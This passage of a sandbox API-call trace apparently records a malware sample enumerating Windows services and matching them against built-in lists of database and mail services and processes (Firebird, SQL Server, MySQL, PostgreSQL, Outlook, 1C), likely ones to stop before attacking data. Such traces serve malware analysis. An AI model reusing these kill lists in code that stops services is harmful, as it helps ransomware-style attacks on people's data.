1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c550 | out: hHeap=0x5c0000) returned 1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6061f8 | out: hHeap=0x5c0000) returned 1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c520 | out: hHeap=0x5c0000) returned 1 [0094.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x606288 | out: hHeap=0x5c0000) returned 1 [0094.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c4a8 | out: hHeap=0x5c0000) returned 1 [0094.490] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c400, Size=0x20) returned 0x5fea98 [0094.490] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fea98, Size=0x40) returned 0x5da540 [0094.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64d190 | out: hHeap=0x5c0000) returned 1 [0094.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c3d0 | out: hHeap=0x5c0000) returned 1 [0094.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605fd0 | out: hHeap=0x5c0000) returned 1 [0094.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c508 | out: hHeap=0x5c0000) returned 1 [0094.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604160 | out: hHeap=0x5c0000) returned 1 [0094.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c2c8 | out: hHeap=0x5c0000) returned 1 [0094.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64d0e0 | out: hHeap=0x5c0000) returned 1 [0094.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c3e8 | out: hHeap=0x5c0000) returned 1 [0094.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d61c8 | out: hHeap=0x5c0000) returned 1 [0094.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5270 | out: hHeap=0x5c0000) returned 1 [0094.623] lstrlenW (lpString="%systemdrive%") returned 13 [0094.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb10 | out: hHeap=0x5c0000) returned 1 [0094.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604738 | out: hHeap=0x5c0000) returned 1 [0094.623] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64d040 | out: hHeap=0x5c0000) returned 1 [0094.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x62af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c [0094.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5dc038*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x9e8 Thread: id = 4 os_tid = 0xdfc [0094.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x64c4a8 [0094.504] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c4a8, Size=0x20) returned 0x5fea98 [0094.504] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fea98, Size=0x40) returned 0x5da300 [0094.504] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da300, Size=0x80) returned 0x604a68 [0094.504] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604a68, Size=0x100) returned 0x6061e0 [0094.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x64c4a8 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c4a8, Size=0x20) returned 0x5fe9a8 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe9a8, Size=0x40) returned 0x5da5d0 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da5d0, Size=0x80) returned 0x6048d0 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6048d0, Size=0x100) returned 0x6062e8 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64c4a8 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x64d190 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x64c568 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d190, Size=0x8) returned 0x64d0b0 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d5110 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d0b0, Size=0x10) returned 0x64c4c0 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d5290 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5feb38 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c4c0, Size=0x20) returned 0x5fe7a0 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x5fe9a8 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16) returned 0x5d5450 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5fe7c8 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64c4c0 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x64d050 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5da4f8 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d050, Size=0x8) returned 0x64d0d0 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3c) returned 0x5da5d0 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d0d0, Size=0x10) returned 0x64c4d8 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d5190 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d54b0 [0094.505] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c4d8, Size=0x20) returned 0x5fe9d0 [0094.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5d6198 [0094.505] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0094.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6061e0 | out: hHeap=0x5c0000) returned 1 [0094.505] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0094.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6062e8 | out: hHeap=0x5c0000) returned 1 [0094.506] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fea98 [0094.506] EnumServicesStatusExW (in: hSCManager=0x5fea98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0094.506] GetLastError () returned 0xea [0094.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fd0) returned 0x61b418 [0094.507] EnumServicesStatusExW (in: hSCManager=0x5fea98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61b418, cbBufSize=0x1fd0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61b418, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0094.507] CloseServiceHandle (hSCObject=0x5fea98) returned 1 [0094.507] lstrlenW (lpString="Appinfo") returned 7 [0094.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0094.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0094.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0094.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0094.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0094.508] lstrlenW (lpString="AppXSvc") returned 7 [0094.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0094.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0094.508] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0094.508] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0094.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0094.508] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0094.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.508] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0094.508] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0094.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0094.508] lstrlenW (lpString="Audiosrv") returned 8 [0094.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0094.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0094.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0094.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0094.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0094.508] lstrlenW (lpString="BFE") returned 3 [0094.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0094.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0094.508] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0094.508] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0094.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0094.508] lstrlenW (lpString="BITS") returned 4 [0094.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0094.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0094.508] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0094.508] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0094.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0094.508] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0094.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0094.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0094.509] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0094.509] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0094.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0094.509] lstrlenW (lpString="CDPSvc") returned 6 [0094.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0094.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0094.509] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0094.509] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0094.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0094.509] lstrlenW (lpString="ClickToRunSvc") returned 13 [0094.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0094.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0094.509] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0094.509] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0094.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0094.509] lstrlenW (lpString="ClipSVC") returned 7 [0094.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0094.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0094.509] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0094.509] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0094.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0094.509] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0094.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0094.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0094.509] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0094.509] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0094.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0094.509] lstrlenW (lpString="CryptSvc") returned 8 [0094.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0094.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0094.509] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0094.509] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0094.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0094.509] lstrlenW (lpString="DcomLaunch") returned 10 [0094.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0094.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0094.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0094.510] lstrlenW (lpString="DeviceAssociationService") returned 24 [0094.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0094.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0094.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0094.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0094.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0094.510] lstrlenW (lpString="Dhcp") returned 4 [0094.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0094.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0094.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0094.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0094.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0094.510] lstrlenW (lpString="Dnscache") returned 8 [0094.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0094.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0094.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0094.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0094.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0094.510] lstrlenW (lpString="DoSvc") returned 5 [0094.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0094.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0094.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0094.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0094.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0094.510] lstrlenW (lpString="DPS") returned 3 [0094.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0094.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0094.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0094.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0094.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0094.511] lstrlenW (lpString="DusmSvc") returned 7 [0094.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0094.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0094.511] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0094.511] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0094.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0094.511] lstrlenW (lpString="EventLog") returned 8 [0094.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0094.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0094.511] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0094.511] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0094.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0094.511] lstrlenW (lpString="EventSystem") returned 11 [0094.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0094.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0094.511] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0094.511] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0094.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0094.511] lstrlenW (lpString="FontCache") returned 9 [0094.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0094.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0094.511] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0094.511] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0094.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0094.511] lstrlenW (lpString="gpsvc") returned 5 [0094.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0094.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0094.511] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0094.511] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0094.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0094.511] lstrlenW (lpString="iphlpsvc") returned 8 [0094.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.511] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0094.512] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0094.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0094.512] lstrlenW (lpString="KeyIso") returned 6 [0094.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0094.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0094.512] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0094.512] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0094.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0094.512] lstrlenW (lpString="LanmanServer") returned 12 [0094.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0094.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0094.512] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0094.512] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0094.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0094.512] lstrlenW (lpString="LanmanWorkstation") returned 17 [0094.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.512] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0094.512] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0094.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0094.512] lstrlenW (lpString="lfsvc") returned 5 [0094.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0094.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0094.512] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0094.512] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0094.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0094.512] lstrlenW (lpString="LicenseManager") returned 14 [0094.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0094.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0094.512] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0094.512] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0094.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0094.512] lstrlenW (lpString="lmhosts") returned 7 [0094.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0094.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0094.513] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0094.513] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0094.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0094.513] lstrlenW (lpString="LSM") returned 3 [0094.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0094.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0094.513] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0094.513] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0094.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0094.513] lstrlenW (lpString="MapsBroker") returned 10 [0094.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0094.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0094.513] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0094.513] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0094.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0094.513] lstrlenW (lpString="MpsSvc") returned 6 [0094.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0094.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0094.513] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0094.513] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0094.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0094.513] lstrlenW (lpString="NcbService") returned 10 [0094.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0094.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0094.513] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0094.513] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0094.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0094.513] lstrlenW (lpString="netprofm") returned 8 [0094.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0094.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0094.513] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0094.513] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0094.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0094.513] lstrlenW (lpString="NlaSvc") returned 6 [0094.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0094.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0094.514] lstrlenW (lpString="nsi") returned 3 [0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0094.514] lstrlenW (lpString="PcaSvc") returned 6 [0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0094.514] lstrlenW (lpString="PlugPlay") returned 8 [0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0094.514] lstrlenW (lpString="Power") returned 5 [0094.514] lstrcmpiW 